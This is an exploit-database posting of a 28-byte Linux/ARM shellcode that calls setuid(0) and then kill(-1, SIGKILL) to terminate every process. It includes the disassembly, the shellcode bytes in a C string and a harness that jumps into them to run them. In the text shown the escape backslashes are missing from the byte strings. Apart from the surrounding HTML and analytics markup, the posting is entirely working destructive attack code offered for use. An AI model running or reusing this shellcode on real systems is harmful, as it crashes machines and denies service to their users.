linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes
Posted on 29 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================== linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes ==================================================== /* Title: Linux/ARM - setuid(0) & kill(-1, SIGKILL) - 28 bytes (Kill all processes) Date: 2010-06-29 Tested: ARM926EJ-S rev 5 (v5l) Author: Jonathan Salwan Web: http://shell-storm.org | http://twitter.com/shell_storm ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/ 8054: e28f3001 add r3, pc, #1 ; 0x1 8058: e12fff13 bx r3 805c: 1b24 subs r4, r4, r4 805e: 1c20 adds r0, r4, #0 8060: 2717 movs r7, #23 8062: df01 svc 1 8064: 1a92 subs r2, r2, r2 8066: 1c10 adds r0, r2, #0 8068: 3801 subs r0, #1 806a: 2109 movs r1, #9 806c: 2725 movs r7, #37 806e: df01 svc 1 */ #include <stdio.h> /* kill all processes without setuid(0) - 20 bytes */ // char *SC = "x01x30x8fxe2" // "x13xffx2fxe1" // "x92x1ax10x1c" // "x01x38x09x21" // "x25x27x01xdf"; /* kill all processes with setuid(0) - 28 byes */ char *SC = "x01x30x8fxe2" "x13xffx2fxe1" "x24x1bx20x1c" "x17x27x01xdf" "x92x1ax10x1c" "x01x38x09x21" "x25x27x01xdf"; int main(void) { fprintf(stdout,"Length: %d ",strlen(SC)); (*(void(*)()) SC)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>